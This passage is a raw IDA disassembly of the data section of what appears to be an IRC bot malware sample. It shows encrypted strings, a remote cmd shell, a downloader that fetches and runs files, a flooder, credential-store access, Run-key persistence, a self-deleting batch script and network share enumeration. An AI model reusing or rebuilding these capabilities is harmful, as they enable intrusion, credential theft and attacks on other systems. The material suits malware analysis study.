					; sub_407148+183r ...
dword_417258	dd 71AB1444h		; DATA XREF: sub_411DC5+2A1r
dword_41725C	dd 71AB14DCh		; DATA XREF: sub_415F69+157r
dword_417260	dd 71AB32CAh		; DATA XREF: sub_415F69+81r
dword_417264	dd 71AB41DAh		; DATA XREF: sub_4167F1+201r
dword_417268	dd 71AB5DE2h		; DATA XREF: sub_4046BC+14Dr
		align 10h
flt_417270	dd 1.0e3		; DATA XREF: sub_401E38+207r
					; sub_401E38+22Fr ...
flt_417274	dd 1.024e3		; DATA XREF: sub_408B30+2A2r
dword_417278	dd 0FFFFFFFFh, 409449h,	40945Fh, 0 ; DATA XREF:	sub_4093B6+5o
dword_417288	dd 0FFFFFFFFh, 409572h,	40958Ah, 0 ; DATA XREF:	sub_4094E6+5o
dword_417298	dd 0FFFFFFFFh, 416AE7h,	416AFDh, 0 ; DATA XREF:	sub_4167F1+5o
		dd offset sub_416AC5
		dd offset sub_416ADB
		dd offset dword_4172F0
off_4172B4	dd offset sub_416F05	; DATA XREF: sub_416ED3+12o
					; brattyty:00416F3Ao ...
		dd offset dword_417338
off_4172BC	dd offset sub_416F86	; DATA XREF: brattyty:off_41DEC0o
					; brattyty:off_41DEE0o
off_4172C0	dd offset off_41DEC0	; DATA XREF: brattyty:004172D8o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_4172C0
dword_4172DC	dd 3 dup(0)		; DATA XREF: brattyty:00417300o
		dd 1, 4172D8h
dword_4172F0	dd 3 dup(0)		; DATA XREF: brattyty:004172B0o
		dd offset off_41DEC0
		dd offset dword_4172DC+4
		align 8
off_417308	dd offset off_41DEE0	; DATA XREF: brattyty:00417320o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_417308
		dd 0
		db    0			; DATA XREF: brattyty:00417348o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 1, 417320h
dword_417338	dd 3 dup(0)		; DATA XREF: brattyty:004172B8o
		dd offset off_41DEE0
		dd offset unk_417328
		align 10h
dword_417350	dd 19930520h, 4, 417370h, 5 dup(0) ; DATA XREF:	brattyty:loc_416FDDo
		dd 0FFFFFFFFh, 416FB0h,	0
		dd offset loc_416FBC
		dd 1, 416FC5h, 2, 416FD1h, 0
		dd offset off_41DEC0
		dd 0
		dd 0FFFFFFFFh, 0
		dd 10h,	416F21h, 0
dword_4173B0	dd 1, 417390h		; DATA XREF: brattyty:004173C4o
dword_4173B8	dd 0			; DATA XREF: sub_416EAF+19o
		dd offset sub_416F4E
		dd 0
		dd offset dword_4173B0
		dd 30Eh	dup(0)
off_418000	dd offset dword_418098	; DATA XREF: sub_401000+1Dr
					; sub_401000+2Er ...
		dd offset dword_41805C
		dd offset dword_418040
		dd offset dword_418014
		dd 0
dword_418014	dd 0C5BCA58Ch, 0E1CEC1C6h, 0AB9AFEA0h, 0EF83EDA3h, 0FE9D88B1h
					; DATA XREF: brattyty:0041800Co
		dd 0D6F7DFEFh, 0A087CF89h, 0ECAFEBB9h, 0F09CB083h, 2 dup(0)
dword_418040	dd 0E589938Ch, 0C7E0EDF4h, 0AD81C189h, 0EFB3F6BFh, 0DEB388B9h
					; DATA XREF: brattyty:00418008o
		dd 0C9CFh, 0
dword_41805C	dd 0E589938Ch, 0C7E0EDF4h, 0AD81C189h, 0EFB3F6BFh, 0C6B388B9h
					; DATA XREF: brattyty:00418004o
		dd 0CDF6E2EAh, 8DB4FFA2h, 0E5B2EBB8h, 0F4B988B1h, 0CDFBFFF1h
		dd 0BBBAD0BBh, 0F2A5CAA3h, 0F48C95A9h, 0F0h, 0
dword_418098	dd 0E589938Ch, 0C7E0EDF4h, 0AD81C189h, 0EFB3F6BFh, 0C6B388B9h
					; DATA XREF: brattyty:off_418000o
		dd 0CDF6E2EAh, 8DB4FFA2h, 0E5B2EBB8h, 0F4B988B1h, 0CDFBFFF1h
		dd 0BBBAD0BBh, 0A3h, 0
dword_4180CC	dd 2343003h, 2037525h, 746F6220h, 20297328h, 6E756F66h
					; DATA XREF: sub_401244+52Do
		dd 69772064h, 73206874h, 6E697274h, 30032067h, 73250234h
		dd 2E0203h
dword_4180F8	dd 62206F4Eh, 2073746Fh, 6E756F66h, 69772064h, 73206874h
					; DATA XREF: sub_401244+50Ao
		dd 6E697274h, 30032067h, 73250234h, 2E0203h
dword_41811C	dd 6E756F66h, 74732064h, 676E6972h, 34300320h, 3732502h
					; DATA XREF: sub_401244+412o
		dd 6E692002h, 20732520h, 34300328h, 3692502h, 2902h
dword_418144	dd 3430032Dh, 3752502h,	4C202D02h, 69747369h, 6220676Eh
					; DATA XREF: sub_401244+45o
		dd 2073746Fh, 68746977h, 72747320h, 20676E69h, 2343003h
		dd 2037325h, 3Ah
dword_418174	dd 62207325h, 2073746Fh, 68746977h, 72747320h, 20676E69h
					; DATA XREF: sub_4017AA+93o
		dd 2343003h, 2037325h, 0
aKilling	db 'Killing',0          ; DATA XREF: sub_4017AA:loc_401830o
aListing	db 'Listing',0          ; DATA XREF: sub_4017AA+7Do
dword_4181A4	dd 303h			; DATA XREF: sub_4018AF:loc_401942o
aCmd_exeProcess	db 'Cmd.exe process has terminated.',0 ; DATA XREF: sub_401981+2C9o
aCouldNotReadDa	db 'Could not read data from process.',0 ; DATA XREF: sub_401981+27Eo
		align 4
aCmd_exe	db 'cmd.exe',0          ; DATA XREF: sub_401981+48o
aErrorWhileExec	db 'Error while executing command.',0 ; DATA XREF: sub_401D6E+B9o
		align 4
asc_418214	db 0Dh,0Ah,0		; DATA XREF: sub_401D6E:loc_401E0Bo
					; sub_403DF3+18Co ...
		align 4
aRemoteCmdThrea	db 'Remote cmd thread',0 ; DATA XREF: sub_401D6E+7Eo
		align 4
aOpen		db 'open',0             ; DATA XREF: sub_401D6E+26o
					; sub_402A32+794o ...
		align 4
dword_418234	dd 65636552h, 64657669h, 34300320h, 3732502h, 72662002h
					; DATA XREF: sub_401E38+248o
		dd 3206D6Fh, 25023430h,	20020373h, 3206E69h, 25023430h
		dd 66322E30h, 65730203h, 69772063h, 3206874h, 25023430h
		dd 66332E30h, 424B0203h, 6365732Fh, 0
dword_418280	dd 3430032Dh, 3752502h,	52202D02h, 69656365h, 676E6976h
					; DATA XREF: sub_401E38+CCo
		dd 34300320h, 3732502h,	72662002h, 3206D6Fh, 25023430h
		dd 20373h
dword_4182AC	dd 6277h		; DATA XREF: sub_401E38+36o
					; sub_402698:loc_40288Eo ...
dword_4182B0	dd 746E6553h, 34300320h, 3732502h, 6F742002h, 34300320h
					; DATA XREF: sub_4020C2+3E1o
		dd 3732502h, 6E692002h,	34300320h, 2E302502h, 2036632h
		dd 20636573h, 68746977h, 34300320h, 2E302502h, 2036633h
		dd 732F424Bh, 6365h
dword_4182F4	dd 6E617254h, 72656673h, 20666F20h, 2343003h, 2037325h
					; DATA XREF: sub_4020C2+313o
		dd 206F7420h, 2343003h,	2037325h, 6E616320h, 6C6C6563h
		dd 6465h
dword_418320	dd 3430032Dh, 3752502h,	53202D02h, 69646E65h, 320676Eh
					; DATA XREF: sub_4020C2+28Eo
		dd 25023430h, 20020373h, 3206F74h, 25023430h, 20373h
dword_418348	dd 43434401h, 4E455320h, 25222044h, 25202273h, 73252064h
					; DATA XREF: sub_4020C2+20Fo
		dd 1642520h, 0
aDccSendSS	db 'DCC Send %s (%s)',0 ; DATA XREF: sub_4020C2+1D2o
		align 4
aRb		db 'rb',0               ; DATA XREF: sub_4020C2:loc_40220Fo
					; sub_406AE7+63o ...
		align 4
dword_41837C	dd 65636552h, 6E697669h, 30032067h, 73250234h, 66200203h
					; DATA XREF: sub_4024F3+101o
		dd 206D6F72h, 2343003h,	2037325h, 0
dword_4183A0	dd 646E6553h, 20676E69h, 2343003h, 2037325h, 206F7420h
					; DATA XREF: sub_40260D+72o
		dd 2343003h, 2037325h, 0
aContentLengthU	db 'Content-Length: %u',0Dh,0Ah,0 ; DATA XREF: sub_402698+155o
		align 4
aContentLength	db 'Content-Length: ',0 ; DATA XREF: sub_402698+104o
		align 4
asc_4183EC	db 0Dh,0Ah		; DATA XREF: sub_402698:loc_402758o
		db 0Dh,0Ah,0
		align 4
aGetSHttp1_0Hos	db 'GET /%s HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_402698+3Ao
					; sub_4088FC+E9o
		db 'Host: %s',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
dword_418414	dd 3430032Dh, 3752502h,	45202D02h, 726F7272h, 69687720h
					; DATA XREF: sub_402A32+7F6o
		dd 6420656Ch, 6C6E776Fh, 6964616Fh, 320676Eh, 25023430h
		dd 2E020373h, 0
dword_418444	dd 3430032Dh, 3752502h,	55202D02h, 6C62616Eh, 6F742065h
					; DATA XREF: sub_402A32+7D1o
		dd 61747320h, 3207472h,	25023430h, 2E020373h, 0
dword_41846C	dd 3430032Dh, 3752502h,	53202D02h, 65636375h, 75667373h
					; DATA XREF: sub_402A32+738o
		dd 20796C6Ch, 6E776F64h, 64616F6Ch, 3206465h, 25023430h
		dd 20020373h, 68746977h, 34300320h, 2E302502h, 2036632h
		dd 732F424Bh, 73256365h, 2Eh
dword_4184B4	dd 7865202Ch, 74756365h, 676E69h ; DATA	XREF: sub_402A32+6B0o
dword_4184C0	dd 7075202Ch, 69746164h, 676Eh ; DATA XREF: sub_402A32+699o
unk_4184CC	db  2Dh	; -		; DATA XREF: sub_402A32+50Eo
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
aNoFileToDownlo	db '- No file to download specified.',0
		align 4
asc_4184F8:				; DATA XREF: sub_402A32:loc_402F16o
		unicode	0, </>,0
asc_4184FC:				; DATA XREF: sub_402A32+45Fo
					; sub_414EF4+644o ...
		unicode	0, <:>,0
unk_418500	db  2Dh	; -		; DATA XREF: sub_402A32+3E4o
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
aUnsupportedPro	db '- Unsupported protocol specified.',0
		align 4
a69		db '69',0               ; DATA XREF: sub_402A32+3A8o
		align 10h
aTftp		db 'tftp://',0          ; DATA XREF: sub_402A32+387o
aAnonymous	db 'anonymous',0        ; DATA XREF: sub_402A32+35Ao
					; sub_402A32+36Do
		align 4
a21		db '21',0               ; DATA XREF: sub_402A32+328o
		align 4
aFtp		db 'ftp://',0           ; DATA XREF: sub_402A32+307o
		align 10h
a80		db '80',0               ; DATA XREF: sub_402A32+2CEo
					; sub_4043E9+27o ...
		align 4
aHttp		db 'http://',0          ; DATA XREF: sub_402A32+2ADo
dword_41855C	dd 3430032Dh, 3752502h,	43202D02h, 6F6E6E61h, 65722074h
					; DATA XREF: sub_402A32+135o
		dd 73206461h, 6372756Fh, 69662065h, 320656Ch, 25023430h
		dd 2E020373h, 0
dword_41858C	dd 3430032Dh, 3752502h,	43202D02h, 6F6E6E61h, 72772074h
					; DATA XREF: sub_402A32+110o
		dd 20657469h, 64206F74h, 69747365h, 6974616Eh, 66206E6Fh
		dd 20656C69h, 2343003h,	2037325h, 2Eh
dword_4185C4	dd 656C6966h, 2F2F3Ah	; DATA XREF: sub_402A32+C0o
dword_4185CC	dd 3430032Dh, 3752502h,	44202D02h, 6C6E776Fh, 6964616Fh
					; DATA XREF: sub_402A32+AAo
		dd 320676Eh, 25023430h,	20020373h, 3206F74h, 25023430h
		dd 2E020373h, 0
dword_4185FC	dd 6E776F44h, 64616F6Ch, 20676E69h, 2343003h, 2037325h
					; DATA XREF: sub_403260+B2o
		dd 206F7420h, 2343003h,	2037325h, 0
dword_418620	dd 6578652Eh, 0		; DATA XREF: sub_403260+43o
					; sub_412720+51o
aQuitRestarting	db 'QUIT :restarting',0 ; DATA XREF: sub_40332B:loc_403538o
					; sub_40332B:loc_403545o ...
		align 4
aQuitExitting	db 'QUIT :exitting',0   ; DATA XREF: sub_40332B+200o
					; sub_40A9CF:loc_40BD52o
		align 4
dword_41864C	dd 3430032Dh, 62656402h, 2036775h ; DATA XREF: sub_40332B+19Co
aModuleSReporte	db '- Module "%s" reported a crash in "%s": N=%u EAX=%08X EBX=%08X EC'
		db 'X=%08X EDX=%08X ESI=%08X EDI=%08X EBP=%08X ESP=%08X EIP=%08X EFLA'
		db 'GS=%08X. Code: %08X (%s). %s...',0
		align 4
aContinuing	db 'Continuing',0       ; DATA XREF: sub_40332B:loc_40342Ao
		align 4
aRestarting	db 'Restarting',0       ; DATA XREF: sub_40332B+F3o
		align 4
aException_flt	db 'EXCEPTION_FLT',0    ; DATA XREF: sub_40332B:loc_40340Co
		align 4
aException_stac	db 'EXCEPTION_STACK_OVERFLOW',0 ; DATA XREF: sub_40332B:loc_403403o
		align 10h
aException_nonc	db 'EXCEPTION_NONCONTINUABLE_EXCEPTION',0
					; DATA XREF: sub_40332B:loc_4033FAo
		align 4
aException_int_	db 'EXCEPTION_INT_DIVIDE_BY_ZERO',0 ; DATA XREF: sub_40332B:loc_4033F1o
		align 4
aException_ille	db 'EXCEPTION_ILLEGAL_INSTRUCTION',0 ; DATA XREF: sub_40332B:loc_4033E8o
		align 4
aException_brea	db 'EXCEPTION_BREAKPOINT',0 ; DATA XREF: sub_40332B:loc_4033DFo
		align 4
aException_acce	db 'EXCEPTION_ACCESS_VIOLATION',0 ; DATA XREF: sub_40332B:loc_4033D6o
		align 4
aException_othe	db 'EXCEPTION_OTHER',0  ; DATA XREF: sub_40332B+27o
aUdp		db 'udp',0              ; DATA XREF: sub_4038BA+27Co
aInternetgetcon	db 'InternetGetConnectedStateExA',0 ; DATA XREF: sub_403BD3+20Bo
		align 4
aWininet_dll	db 'wininet.dll',0      ; DATA XREF: sub_403BD3:loc_403DCAo
aPstorecreatein	db 'PStoreCreateInstance',0 ; DATA XREF: sub_403BD3+1E4o
		align 10h
aPstorec_dll	db 'pstorec.dll',0      ; DATA XREF: sub_403BD3:loc_403DA3o
aFreeaddrinfo	db 'freeaddrinfo',0     ; DATA XREF: sub_403BD3+184o
		align 4
aGetnameinfo	db 'getnameinfo',0      ; DATA XREF: sub_403BD3+171o
aGetaddrinfo	db 'getaddrinfo',0      ; DATA XREF: sub_403BD3+15Eo
aWs2_32_dll	db 'ws2_32.dll',0       ; DATA XREF: sub_403BD3:loc_403D23o
		align 10h
aWnetcancelco_0	db 'WNetCancelConnection2W',0 ; DATA XREF: sub_403BD3+13Do
		align 4
aWnetcancelconn	db 'WNetCancelConnection2A',0 ; DATA XREF: sub_403BD3+12Ao
		align 10h
aWnetaddconne_0	db 'WNetAddConnection2W',0 ; DATA XREF: sub_403BD3+117o
aWnetaddconnect	db 'WNetAddConnection2A',0 ; DATA XREF: sub_403BD3+104o
aMpr_dll	db 'mpr.dll',0          ; DATA XREF: sub_403BD3:loc_403CC3o
aNetaddalternat	db 'NetAddAlternateComputerName',0 ; DATA XREF: sub_403BD3+DDo
aNetschedulejob	db 'NetScheduleJobAdd',0 ; DATA XREF: sub_403BD3+CAo
		align 10h
aNetapibufferfr	db 'NetApiBufferFree',0 ; DATA XREF: sub_403BD3+B7o
		align 4
aNetremotetod	db 'NetRemoteTOD',0     ; DATA XREF: sub_403BD3+A4o
		align 4
aNetshareenum	db 'NetShareEnum',0     ; DATA XREF: sub_403BD3+91o
		align 4
aNetuserenum	db 'NetUserEnum',0      ; DATA XREF: sub_403BD3+7Eo
aNetusedel	db 'NetUseDel',0        ; DATA XREF: sub_403BD3+6Bo
		align 4
aNetuseadd	db 'NetUseAdd',0        ; DATA XREF: sub_403BD3+58o
		align 4
aNetusegetinfo	db 'NetUseGetInfo',0    ; DATA XREF: sub_403BD3+45o
		align 4
aNetapi32_dll	db 'netapi32.dll',0     ; DATA XREF: sub_403BD3:loc_403C00o
		align 4
aInitializecrit	db 'InitializeCriticalSectionAndSpinCount',0 ; DATA XREF: sub_403BD3+1Ao
		align 10h
aKernel32_dll	db 'kernel32.dll',0     ; DATA XREF: sub_403BD3+6o
		align 10h
aUseridUnix	db ' : USERID : UNIX : ',0 ; DATA XREF: sub_403DF3:loc_403F57o
dword_4189C4	dd 3430032Dh, 3752502h,	52202D02h, 696E6E75h, 6920676Eh
					; DATA XREF: sub_403DF3+6Eo
		dd 746E6564h, 65732064h, 72657672h, 206E6F20h, 74726F70h
		dd 34300320h, 3732502h,	2
dword_4189F8	dd 6E656449h, 73206474h, 65767265h, 6E6F2072h, 726F7020h
					; DATA XREF: sub_403FE5+7Eo
		dd 30032074h, 73250234h, 203h
dword_418A18	dd 333131h		; DATA XREF: sub_403FE5:loc_403FFDo
dword_418A1C	dd 0BF988BA8h, 0CCFDEEB5h, 0AB86A2B0h, 0B9h, 0 ; DATA XREF: sub_4043E9+6o
dword_418A30	dd 2E3031h		; DATA XREF: sub_4041B7+56o
dword_418A34	dd 2E323931h, 2E383631h, 0 ; DATA XREF:	sub_4041B7+3Bo
dword_418A40	dd 2E323731h, 0		; DATA XREF: sub_4041B7+20o
dword_418A48	dd 2E373231h, 0		; DATA XREF: sub_4041B7+5o
dword_418A50	dd 252E7525h, 75252E75h, 75252Eh ; DATA	XREF: sub_40D871+1CCo
					; sub_41113B+45Ao
dword_418A5C	dd 313A3Ah		; DATA XREF: sub_40435B+42o
dword_418A60	dd 7525h		; DATA XREF: sub_4055E5+458o
					; sub_4055E5+69Eo ...
dword_418A64	dd 252E7525h, 75252E75h, 3A75252Eh, 7525h ; DATA XREF: sub_4055E5+31Eo
					; sub_4055E5+40Bo ...
aU_U_U_UU	db '%u.%u.%u.%u:%u',0Dh,0Ah,0 ; DATA XREF: sub_4055E5+2A3o
					; sub_4055E5+3AFo ...
		align 4
aU		db '%u',0Dh,0Ah,0       ; DATA XREF: sub_4055E5+229o
					; sub_4055E5+351o ...
		align 10h
aLgFlooder	db 'LG flooder',0       ; DATA XREF: sub_405E45+109o
		align 4
aGetmoduleinfor	db 'GetModuleInformation',0 ; DATA XREF: sub_405FA3+5Eo
		align 4
aGetmodulefilen	db 'GetModuleFileNameExA',0 ; DATA XREF: sub_405FA3+4Bo
		align 4
aEnumprocessmod	db 'EnumProcessModules',0 ; DATA XREF: sub_405FA3+38o
		align 10h
aEnumprocesses	db 'EnumProcesses',0    ; DATA XREF: sub_405FA3:loc_405FC8o
		align 10h
aPsapi_dll	db 'psapi.dll',0        ; DATA XREF: sub_405FA3+Fo
		align 4
aSystem		db 'system',0           ; DATA XREF: sub_406041+136o
					; brattyty:0041BBD0o ...
		align 4
dword_418B04	dd 2343003h, 3693425h, 25202E02h, 20583830h, 58383025h
					; DATA XREF: sub_40637C+FEo
		dd 732520h
dword_418B1C	dd 3430032Dh, 3752502h,	4C202D02h, 69747369h, 320676Eh
					; DATA XREF: sub_40637C+51o
		dd 25023430h, 2032569h,	6F727020h, 73736563h, 3A7365h
dword_418B44	dd 7473694Ch, 6F727020h, 73736563h, 7365h ; DATA XREF: sub_4064BF+31o
dword_418B54	dd 58323025h, 0		; DATA XREF: sub_406722+266o
					; sub_4147E5+11o ...
dword_418B5C	dd 58383025h, 0		; DATA XREF: sub_406722+201o
					; sub_40A9CF+1C12o
dword_418B64	dd 7325h		; DATA XREF: sub_406722+1E3o
					; sub_406722+296o ...
aHkus		db 'HKUS',0             ; DATA XREF: sub_406722+8Do
		align 10h
aHklm		db 'HKLM',0             ; DATA XREF: sub_406722+6Bo
		align 4
aHkcu		db 'HKCU',0             ; DATA XREF: sub_406722+49o
		align 10h
aHkcr		db 'HKCR',0             ; DATA XREF: sub_406722+27o
		align 4
off_418B88	dd offset dword_418DD0	; DATA XREF: sub_406E8E+4Br
					; sub_406E8E+8Dr ...
off_418B8C	dd offset dword_418DA8	; DATA XREF: sub_406E8E+106r
					; sub_406E8E+12Ar ...
		dd offset dword_418D98
		dd offset dword_418DA8
		dd offset loc_418D88
		dd offset dword_418D64
		dd offset dword_418D54
		dd offset dword_418D34
		dd offset loc_418D20
		dd offset dword_418D34
		dd offset dword_418D0C
		dd offset dword_418CF4
		dd offset dword_418CE4
		dd offset dword_418CD0
		dd offset dword_418CBC
		dd offset dword_418C9C
		dd offset dword_418C88
		dd offset dword_418C6C
		dd offset dword_418C5C
		dd offset dword_418C6C
		dd offset loc_418C4C
		dd offset dword_418C24
		dd offset dword_418C10
		dd offset dword_418BF0
		align 10h
dword_418BF0	dd 0E38C9592h, 0C4FDFFECh, 0A0A1ACA1h, 0EEB2FCB9h, 0D4CF88BAh
					; DATA XREF: brattyty:00418BE4o
		dd 0CDFEFCFBh, 9AE9A7h,	0
dword_418C10	dd 0E19799B6h, 0C7E0E3EFh, 0AB90E9FBh, 2 dup(0)
					; DATA XREF: brattyty:00418BE0o
dword_418C24	dd 0FD9F8C9Eh, 0D6F3EFEAh, 0EE86E3BCh, 0E5B9F881h, 0F0A8DCADh
					; DATA XREF: brattyty:00418BDCo
		dd 0C3E5E9F7h, 0ABBBACACh, 0E3A9EFBFh, 0BAh, 0
; ---------------------------------------------------------------------------


loc_418C4C:				; DATA XREF: brattyty:00418BD8o
		mov	esi, 0ADE28890h
		jmp	near ptr dword_425440
; ---------------------------------------------------------------------------
		align 4
		dd 0
dword_418C5C	dd 0FE808CACh, 8CE4FFCAh, 8DF4B0h, 0 ; DATA XREF: brattyty:00418BD0o
dword_418C6C	dd 0FE808C8Ch, 82E0E9EFh, 9D8AF986h, 0E5B4EAB4h, 0E1AEDCB2h
					; DATA XREF: brattyty:00418BCCo
					; brattyty:00418BD4o
		dd 0F3h, 0
dword_418C88	dd 0FE808CACh, 0C1E4FFEFh, 0AB90E9FBh, 2 dup(0)
					; DATA XREF: brattyty:00418BC8o
dword_418C9C	dd 0F5819588h, 82E1FBECh, 0B99CE99Bh, 0A0ABEBA2h, 0F49D9599h
					; DATA XREF: brattyty:00418BC4o
		dd 0CEFEEDF4h, 2 dup(0)
dword_418CBC	dd 0F49D95B9h, 0CEFEEDF4h, 0AB90E9FBh, 2 dup(0)
					; DATA XREF: brattyty:00418BC0o
dword_418CD0	dd 0F0819588h, 0E3B2FCEEh, 0BA86E9B2h, 2 dup(0)
					; DATA XREF: brattyty:00418BBCo
dword_418CE4	dd 0F08195A8h, 0C7BCFCEEh, 0E9ADh, 0 ; DATA XREF: brattyty:00418BB8o
dword_418CF4	dd 0F5819588h, 82E1FBECh, 0A298F490h, 0F2A5EBA2h, 2 dup(0)
					; DATA XREF: brattyty:00418BB4o
dword_418D0C	dd 0FD9F84BAh, 0D0F7FEECh, 0AB90E9FBh, 2 dup(0)
					; DATA XREF: brattyty:00418BB0o
; ---------------------------------------------------------------------------


loc_418D20:				; DATA XREF: brattyty:00418BA8o
		test	al, 95h
		sbb	eax, 0CCFDEBECh
		sti
		jmp	near ptr word_4238BE
; ---------------------------------------------------------------------------
		align 10h
		dd 0
dword_418D34	dd 0F5819588h, 82E1FBECh, 0A18FE399h, 0F081B9A3h, 0F28690AFh
					; DATA XREF: brattyty:00418BA4o
					; brattyty:00418BACo
		dd 0CDFBF8E2h, 0BBh, 0
dword_418D54	dd 0FE8893B3h, 0DAF7A2EDh, 0B0h, 0 ; DATA XREF:	brattyty:00418BA0o
dword_418D64	dd 0F486909Ch, 0F1B2F8EDh, 0AB9EFEB0h, 0F592B9BFh, 0FC8688B1h
					; DATA XREF: brattyty:00418B9Co
		dd 0D0C2ACE6h, 0BD8DEFBAh, 0BEh, 0
; ---------------------------------------------------------------------------


loc_418D88:				; DATA XREF: brattyty:00418B98o
		mov	esp, 0ADE29D8Fh
		jmp	near ptr dword_42557C
; ---------------------------------------------------------------------------
		align 8
dword_418D98	dd 0E28E8F96h, 0DAF7A2F0h, 0B0h, 0 ; DATA XREF:	brattyty:00418B90o
dword_418DA8	dd 0F08C9393h, 0C7C1ACEFh, 0A79AF9B6h, 0C1E0E0B9h, 0FE8788AAh
					; DATA XREF: brattyty:off_418B8Co
					; brattyty:00418B94o
		dd 0DBE6E5F1h, 0BC8DDFF5h, 0E5A3F0BBh, 2 dup(0)
dword_418DD0	dd 0F09C8FB3h, 0DAF7A2F0h, 0B0h, 0 ; DATA XREF:	brattyty:off_418B88o
dword_418DE0	dd 293Ah		; DATA XREF: sub_406A23+9Co
dword_418DE4	dd 5Ch			; DATA XREF: sub_406A23+1Bo
					; sub_406AE7+1Bo ...
dword_418DE8	dd 7078655Ch, 65726F6Ch, 78652E72h, 65h	; DATA XREF: sub_406B81+1Bo
aSoftwareMicros	db 'Software\Microsoft\Windows\CurrentVersion\Run',0
					; DATA XREF: sub_406C51+1Co
		align 4
a@echoOffDelete	db '@echo off',0Dh,0Ah  ; DATA XREF: sub_406D90+A8o
		db ':deleteagain',0Dh,0Ah
		db 'del /A:H /F %s',0Dh,0Ah
		db 'del /F %s',0Dh,0Ah
		db 'if exist %s goto deleteagain',0Dh,0Ah
		db 'del %s',0Dh,0Ah,0
		align 4
a_bat		db '.bat',0             ; DATA XREF: sub_406D90+39o
		align 4
aWindowsDllLoad	db 'Windows DLL Loader',0 ; DATA XREF: sub_406E8E+20Do
					; sub_407148+19Do
		align 10h
aQuitSUninstall	db 'QUIT :%s uninstalled.',0 ; DATA XREF: sub_407148+177o
					; sub_407148+1C9o
		align 4
dword_418EB8	dd 6E6E6F43h, 69746365h, 66206E6Fh, 206D6F72h, 2343003h
					; DATA XREF: sub_40732D+115o
		dd 2037325h, 206F7420h,	6B636F73h, 34300373h, 3752502h
		dd 65732002h, 72657672h, 7325h
dword_418EEC	dd 6A657220h, 65746365h, 64h ; DATA XREF: sub_40732D:loc_407423o
dword_418EF8	dd 3430032Dh, 3752502h,	52202D02h, 696E6E75h, 7320676Eh
					; DATA XREF: sub_40764D+6Ao
		dd 736B636Fh, 72657320h, 20726576h, 70206E6Fh, 2074726Fh
		dd 2343003h, 2037325h, 0
dword_418F2C	dd 6B636F53h, 65732073h, 72657672h, 206E6F20h, 74726F70h
					; DATA XREF: sub_4077DD+9Co
		dd 34300320h, 3732502h,	2
dword_418F4C	dd 20h			; DATA XREF: sub_407928+4Co
					; sub_407928+96o ...
dword_418F50	dd 30h			; DATA XREF: sub_407E0C+CBo
					; sub_40CA29+13Do ...
dword_418F54	dd 252E7325h, 73252E73h, 73252Eh ; DATA	XREF: sub_407F3D+118o
					; sub_40806A+BDo
dword_418F60	dd 0BF818FB2h, 0FFE3E0h, 0 ; DATA XREF:	sub_408887+6o
dword_418F6C	dd 0BF988BA8h, 0D0E0E9F7h, 0A18BA2B4h, 0F2A2B7A0h, 2 dup(0)
					; DATA XREF: sub_408887+14o
dword_418F84	dd 0BF818FB2h, 0E9E7h, 0 ; DATA	XREF: sub_408887+22o
dword_418F90	dd 0FC9A9DBBh, 0D6F7E2ADh, 2 dup(0) ; DATA XREF: sub_408887+30o
dword_418FA0	dd 0F68093B8h, 0C3BCE9EFh, 0B0h, 0 ; DATA XREF:	sub_408887+3Eo
dword_418FB0	dd 0F48195B1h, 8CFCFFEEh, 0E085E3B6h, 0ECACh, 0	; DATA XREF: sub_408887+4Co
off_418FC4	dd offset dword_4190E8	; DATA XREF: sub_4088FC+19r
					; sub_4088FC+60r
off_418FC8	dd offset dword_4190B4	; DATA XREF: sub_4088FC+8Ar
		dd offset dword_419098
		dd offset dword_419054
		dd offset dword_41903C
		dd offset dword_418FE4
		dd 2 dup(0)
dword_418FE4	dd 0FF9893BBh, 0C6F3E3EFh, 0A389EBFBh, 0F9EEEAA8h, 0FE8094BEh
					; DATA XREF: brattyty:00418FD8o
		dd 0CFFDEFADh, 0A389EBFAh, 0E4EFEAA8h, 0FD818BB0h, 8DF6EDECh
		dd 0A08FE5A6h, 0F0EFFDA8h, 0F08C8CB0h, 0C3EBA3F3h, 9187E3BDh
		dd 0E5AAFCAFh, 0F48399A8h, 0D6CDBEE7h, 0FFC5BDB8h, 0E5B8FCE3h
		dd 2 dup(0)
dword_41903C	dd 0F6C18FAAh, 0D1F7E1E2h, 0A791A2E4h, 0E3EEFEA0h, 91B0h
					; DATA XREF: brattyty:00418FD4o
		dd 0
dword_419054	dd 0FF9893BBh, 0C6F3E3EFh, 0FFC7BFFAh, 0B3EFFFE2h, 0A0DB9AEEh
					; DATA XREF: brattyty:00418FD0o
		dd 8FA5BEB7h, 0ABDCBCEDh, 0E6F8ADE0h, 0F2D7D1E6h, 97BFB4B2h
		dd 0F78CBDB4h, 0B8F5FBFEh, 0BE8ACFEAh, 0D1F3FFEEh, 0E08BE2ACh
		dd 0A5E1A8h, 0
dword_419098	dd 0FF9893BBh, 0C6F3E3EFh, 0AD81E1FBh, 0EFB3F6BFh, 0F2C188B9h
					; DATA XREF: brattyty:00418FCCo
		dd 0E1ECh, 0
dword_4190B4	dd 0F09B9DBBh, 8DFCE9ACh, 0E18FE5B7h, 0F2B2ECAEh, 0BE9B92BAh
					; DATA XREF: brattyty:off_418FC8o
		dd 0C5FDE3C4h, 0A1BCE9B9h, 0E1A2F5A2h, 0E281B5ADh, 0CEFEEDF7h
		dd 0ABC6FEB0h, 0FCB5h, 0
dword_4190E8	dd 0FD8093ABh, 8CE0EDE1h, 0A987E3B2h, 0E3EEFCA1h, 91B0h
					; DATA XREF: brattyty:off_418FC4o
		dd 0
off_419100	dd offset loc_415353+2	; DATA XREF: sub_408342+2Co
dword_419104	dd 74737953h, 69206D65h, 726F666Eh, 6974616Dh, 2D206E6Fh
					; DATA XREF: sub_4083AD+3CEo
		dd 3A534F20h, 6E695720h, 73776F64h, 34300320h, 3732502h
		dd 25282002h, 76202C73h, 2343003h, 252E6425h, 2C020364h
		dd 30036220h, 64250234h, 2E290203h, 55504320h, 7325203Ah
		dd 34300320h, 3642502h,	7A484D02h, 6152202Eh, 3203A6Dh
		dd 25023430h, 4D020364h, 30032F42h, 64250234h, 424D0203h
		dd 65726620h, 49202E65h, 3A367650h, 34300320h, 3732502h
		dd 55202E02h, 6D697470h, 3203A65h, 25023430h, 64020364h
